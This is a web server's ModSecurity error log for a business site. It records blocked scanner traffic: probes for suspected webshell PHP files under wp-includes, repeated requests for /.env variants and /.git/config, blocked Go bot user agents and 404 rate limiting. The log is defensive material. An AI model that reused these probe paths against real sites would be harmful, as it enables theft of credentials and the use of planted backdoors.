[Sun May 10 08:23:53.969372 2026] [:error] [pid 52634:tid 52654] [client 85.203.23.204:58295] [client 85.203.23.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/nic.php"] [unique_id "af_QGdwp8XoWCwFb54CTLwAAANA"]
[Sun May 10 08:23:54.177516 2026] [:error] [pid 46417:tid 46430] [client 85.203.23.216:36513] [client 85.203.23.216] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/wp-conflg.php"] [unique_id "af_QGmInm7mhwgbe48ZoPQAAAQs"]
[Sun May 10 08:23:54.359831 2026] [:error] [pid 46417:tid 46429] [client 85.203.23.176:46435] [client 85.203.23.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/wp-conflg.php"] [unique_id "af_QGmInm7mhwgbe48ZoPgAAAQo"]
[Sun May 10 08:23:54.981936 2026] [:error] [pid 46417:tid 46443] [client 85.203.23.202:29553] [client 85.203.23.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/autoload_classmap.php"] [unique_id "af_QGmInm7mhwgbe48ZoPwAAARg"]
[Sun May 10 08:24:00.428886 2026] [:error] [pid 46329:tid 46333] [client 85.203.23.184:46203] [client 85.203.23.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/autoload_classmap.php"] [unique_id "af_QIOFo7Z2I88d0gPJQGQAAAAA"]
[Sun May 10 08:24:05.655478 2026] [:error] [pid 46329:tid 46343] [client 85.203.23.191:38527] [client 85.203.23.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/plugins/core.php"] [unique_id "af_QJeFo7Z2I88d0gPJQGgAAAAo"]
[Sun May 10 08:24:05.880646 2026] [:error] [pid 46330:tid 46369] [client 85.203.23.183:42157] [client 85.203.23.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/components/wp-cron-activation.php"] [unique_id "af_QJYztrhd3evDQvs825QAAAEE"]
[Sun May 10 08:24:06.065746 2026] [:error] [pid 46330:tid 46373] [client 85.203.23.216:43259] [client 85.203.23.216] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/block-library/includes/"] [unique_id "af_QJoztrhd3evDQvs825gAAAEM"]
[Sun May 10 08:24:06.256046 2026] [:error] [pid 46330:tid 46412] [client 85.203.23.169:30809] [client 85.203.23.169] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/base-styles/user/"] [unique_id "af_QJoztrhd3evDQvs826AAAAFg"]
[Sun May 10 08:24:06.460663 2026] [:error] [pid 46330:tid 46387] [client 85.203.23.214:30321] [client 85.203.23.214] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/abilities-api/Parse/"] [unique_id "af_QJoztrhd3evDQvs826QAAAEs"]
[Sun May 10 08:24:06.668360 2026] [:error] [pid 46330:tid 46374] [client 85.203.23.201:31907] [client 85.203.23.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/providers/html-api/"] [unique_id "af_QJoztrhd3evDQvs826gAAAEQ"]
[Sun May 10 23:30:35.119999 2026] [:error] [pid 37030:tid 37039] [client 34.17.75.187:38732] [client 34.17.75.187] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env"] [unique_id "agCkm5rBzfXWwKkDkdbIbwAAAMc"]
[Sun May 10 23:30:35.126803 2026] [:error] [pid 16037:tid 16065] [client 34.17.75.187:38724] [client 34.17.75.187] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.local"] [unique_id "agCkm3zjLQfyYTkAdSSMsgAAABg"]
[Sun May 10 23:30:35.474987 2026] [:error] [pid 16037:tid 16057] [client 34.17.75.187:38736] [client 34.17.75.187] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/app/.env"] [unique_id "agCkm3zjLQfyYTkAdSSMswAAABA"]
[Sun May 10 23:30:35.926790 2026] [:error] [pid 16038:tid 16074] [client 34.17.75.187:38750] [client 34.17.75.187] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/admin/.env"] [unique_id "agCkm04hf5Tcsfa2scJorwAAAYY"]
[Sun May 10 23:30:36.127503 2026] [:error] [pid 16038:tid 16075] [client 34.17.75.187:38758] [client 34.17.75.187] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/api/.env"] [unique_id "agCknE4hf5Tcsfa2scJosQAAAYc"]
[Sun May 10 23:30:36.150738 2026] [:error] [pid 16038:tid 16089] [client 34.17.75.187:38760] [client 34.17.75.187] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.docker"] [unique_id "agCknE4hf5Tcsfa2scJosgAAAZU"]
[Sun May 10 23:30:36.483850 2026] [:error] [pid 16096:tid 16115] [client 34.17.75.187:38774] [client 34.17.75.187] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.dev.local"] [unique_id "agCknK8wyxcrT50p9kvsSwAAAE4"]
[Sun May 10 23:30:36.558153 2026] [:error] [pid 16096:tid 16106] [client 34.17.75.187:38786] [client 34.17.75.187] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.development.local"] [unique_id "agCknK8wyxcrT50p9kvsTAAAAEU"]
[Sun May 10 23:30:36.937425 2026] [:error] [pid 16136:tid 16161] [client 34.17.75.187:38798] [client 34.17.75.187] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/app/.env.local"] [unique_id "agCknEOBGdmCMnPX0McVRQAAAJc"]
[Sun May 10 23:30:37.068614 2026] [:error] [pid 16096:tid 16116] [client 34.17.75.187:38808] [client 34.17.75.187] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.env.dev"] [unique_id "agCkna8wyxcrT50p9kvsTQAAAE8"]
[Mon May 11 03:16:23.715307 2026] [:error] [pid 16038:tid 16079] [client 158.173.67.135:46983] [client 158.173.67.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "agDZh04hf5Tcsfa2scKQQwAAAYs"]
[Mon May 11 03:16:24.224078 2026] [:error] [pid 54857:tid 54880] [client 158.173.67.67:29065] [client 158.173.67.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "agDZiMIMxCDAKjKxP7D_GQAAAVA"]
[Mon May 11 03:16:24.737250 2026] [:error] [pid 16037:tid 16054] [client 158.173.67.26:34229] [client 158.173.67.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "agDZiHzjLQfyYTkAdSSwwgAAAA0"]
[Mon May 11 03:16:25.249768 2026] [:error] [pid 9842:tid 9846] [client 158.173.67.140:59969] [client 158.173.67.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "agDZiUKCvgYKKAjiZbJ8EgAAAQE"]
[Mon May 11 03:16:25.765946 2026] [:error] [pid 9842:tid 9854] [client 158.173.67.235:36683] [client 158.173.67.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "agDZiUKCvgYKKAjiZbJ8GwAAAQk"]
[Mon May 11 07:02:23.316750 2026] [:error] [pid 9335:tid 9341] [client 34.130.255.105:58616] [client 34.130.255.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "agEOf3mXqumINT8bKREqwwAAAQQ"]
[Mon May 11 07:02:23.330190 2026] [:error] [pid 9335:tid 9355] [client 34.130.255.105:58602] [client 34.130.255.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.local"] [unique_id "agEOf3mXqumINT8bKREqxAAAARI"]
[Mon May 11 07:02:23.430045 2026] [:error] [pid 9335:tid 9350] [client 34.130.255.105:58626] [client 34.130.255.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.development.local"] [unique_id "agEOf3mXqumINT8bKREqxQAAAQ0"]
[Mon May 11 07:02:23.513897 2026] [:error] [pid 65366:tid 65391] [client 34.130.255.105:58640] [client 34.130.255.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/api/.env"] [unique_id "agEOf6hVGdYzapDtv-H5UAAAANY"]
[Mon May 11 07:02:23.528802 2026] [:error] [pid 65366:tid 65381] [client 34.130.255.105:58628] [client 34.130.255.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.dev.local"] [unique_id "agEOf6hVGdYzapDtv-H5UQAAAMw"]
[Mon May 11 07:02:23.553024 2026] [:error] [pid 65366:tid 65372] [client 34.130.255.105:58652] [client 34.130.255.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/admin/.env"] [unique_id "agEOf6hVGdYzapDtv-H5UgAAAMQ"]
[Mon May 11 07:02:23.575244 2026] [:error] [pid 9335:tid 9349] [client 34.130.255.105:58656] [client 34.130.255.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/app/.env.local"] [unique_id "agEOf3mXqumINT8bKREqyQAAAQw"]
[Mon May 11 07:02:23.581051 2026] [:error] [pid 9335:tid 9352] [client 34.130.255.105:58666] [client 34.130.255.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.dev"] [unique_id "agEOf3mXqumINT8bKREqygAAAQ8"]
[Mon May 11 07:02:23.587374 2026] [:error] [pid 9335:tid 9345] [client 34.130.255.105:58678] [client 34.130.255.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.docker"] [unique_id "agEOf3mXqumINT8bKREqywAAAQg"]
[Mon May 11 07:02:23.654775 2026] [:error] [pid 9335:tid 9346] [client 34.130.255.105:58682] [client 34.130.255.105] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/app/.env"] [unique_id "agEOf3mXqumINT8bKREqzAAAAQk"]
[Mon May 11 11:50:52.062464 2026] [:error] [pid 65366:tid 65375] [client 34.165.120.205:59502] [client 34.165.120.205] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "agFSHKhVGdYzapDtv-EhOQAAAMc"]
[Mon May 11 11:54:48.260500 2026] [:error] [pid 65260:tid 65310] [client 34.175.153.66:54350] [client 34.175.153.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/admin/.env"] [unique_id "agFTCDqbzwIHjP6Y_3GVTgAAAE4"]
[Mon May 11 11:54:48.289385 2026] [:error] [pid 65366:tid 65373] [client 34.175.153.66:54352] [client 34.175.153.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/api/.env"] [unique_id "agFTCKhVGdYzapDtv-EhwAAAAMU"]
[Mon May 11 11:54:48.338091 2026] [:error] [pid 9335:tid 9355] [client 34.175.153.66:54364] [client 34.175.153.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.docker"] [unique_id "agFTCHmXqumINT8bKRFfcAAAARI"]
[Mon May 11 11:54:48.346133 2026] [:error] [pid 65260:tid 65304] [client 34.175.153.66:54372] [client 34.175.153.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.dev.local"] [unique_id "agFTCDqbzwIHjP6Y_3GVTwAAAEg"]
[Mon May 11 11:54:48.499473 2026] [:error] [pid 65366:tid 65387] [client 34.175.153.66:54384] [client 34.175.153.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/app/.env"] [unique_id "agFTCKhVGdYzapDtv-EhwQAAANI"]
[Mon May 11 11:54:48.543381 2026] [:error] [pid 65260:tid 65308] [client 34.175.153.66:54400] [client 34.175.153.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "agFTCDqbzwIHjP6Y_3GVUAAAAEw"]
[Mon May 11 11:54:48.591380 2026] [:error] [pid 65366:tid 65380] [client 34.175.153.66:54412] [client 34.175.153.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.local"] [unique_id "agFTCKhVGdYzapDtv-EhwgAAAMs"]
[Mon May 11 11:54:49.330568 2026] [:error] [pid 65261:tid 65325] [client 34.175.153.66:54420] [client 34.175.153.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.development.local"] [unique_id "agFTCZu_9uQJeFrcOstfmAAAAII"]
[Mon May 11 11:54:49.358783 2026] [:error] [pid 65259:tid 65292] [client 34.175.153.66:54432] [client 34.175.153.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/app/.env.local"] [unique_id "agFTCQPsXLnMa32ma5BvuQAAABg"]
[Mon May 11 11:54:49.405997 2026] [:error] [pid 65261:tid 65331] [client 34.175.153.66:54446] [client 34.175.153.66] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.dev"] [unique_id "agFTCZu_9uQJeFrcOstfmQAAAIg"]
[Mon May 11 13:13:54.262931 2026] [:error] [pid 35052:tid 35056] [client 34.32.40.213:39758] [client 34.32.40.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/api/.env"] [unique_id "agFlkuHjpNNnFJrMXu3l3wAAAUE"]
[Mon May 11 13:13:54.272078 2026] [:error] [pid 65260:tid 65304] [client 34.32.40.213:39744] [client 34.32.40.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.docker"] [unique_id "agFlkjqbzwIHjP6Y_3Gd3wAAAEg"]
[Mon May 11 13:13:54.293000 2026] [:error] [pid 65366:tid 65369] [client 34.32.40.213:39770] [client 34.32.40.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.dev.local"] [unique_id "agFlkqhVGdYzapDtv-EueAAAAME"]
[Mon May 11 13:13:54.295883 2026] [:error] [pid 65366:tid 65392] [client 34.32.40.213:39768] [client 34.32.40.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.development.local"] [unique_id "agFlkqhVGdYzapDtv-EueQAAANc"]
[Mon May 11 13:13:54.556893 2026] [:error] [pid 35052:tid 35064] [client 34.32.40.213:39800] [client 34.32.40.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/app/.env"] [unique_id "agFlkuHjpNNnFJrMXu3l4AAAAUk"]
[Mon May 11 13:13:54.563900 2026] [:error] [pid 35052:tid 35070] [client 34.32.40.213:39776] [client 34.32.40.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.local"] [unique_id "agFlkuHjpNNnFJrMXu3l4QAAAU8"]
[Mon May 11 13:13:54.572968 2026] [:error] [pid 35052:tid 35065] [client 34.32.40.213:39790] [client 34.32.40.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "agFlkuHjpNNnFJrMXu3l4gAAAUo"]
[Mon May 11 13:13:54.576582 2026] [:error] [pid 35052:tid 35063] [client 34.32.40.213:39810] [client 34.32.40.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/app/.env.local"] [unique_id "agFlkuHjpNNnFJrMXu3l4wAAAUg"]
[Mon May 11 13:13:54.658319 2026] [:error] [pid 35052:tid 35069] [client 34.32.40.213:39832] [client 34.32.40.213] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.dev"] [unique_id "agFlkuHjpNNnFJrMXu3l5AAAAU4"]
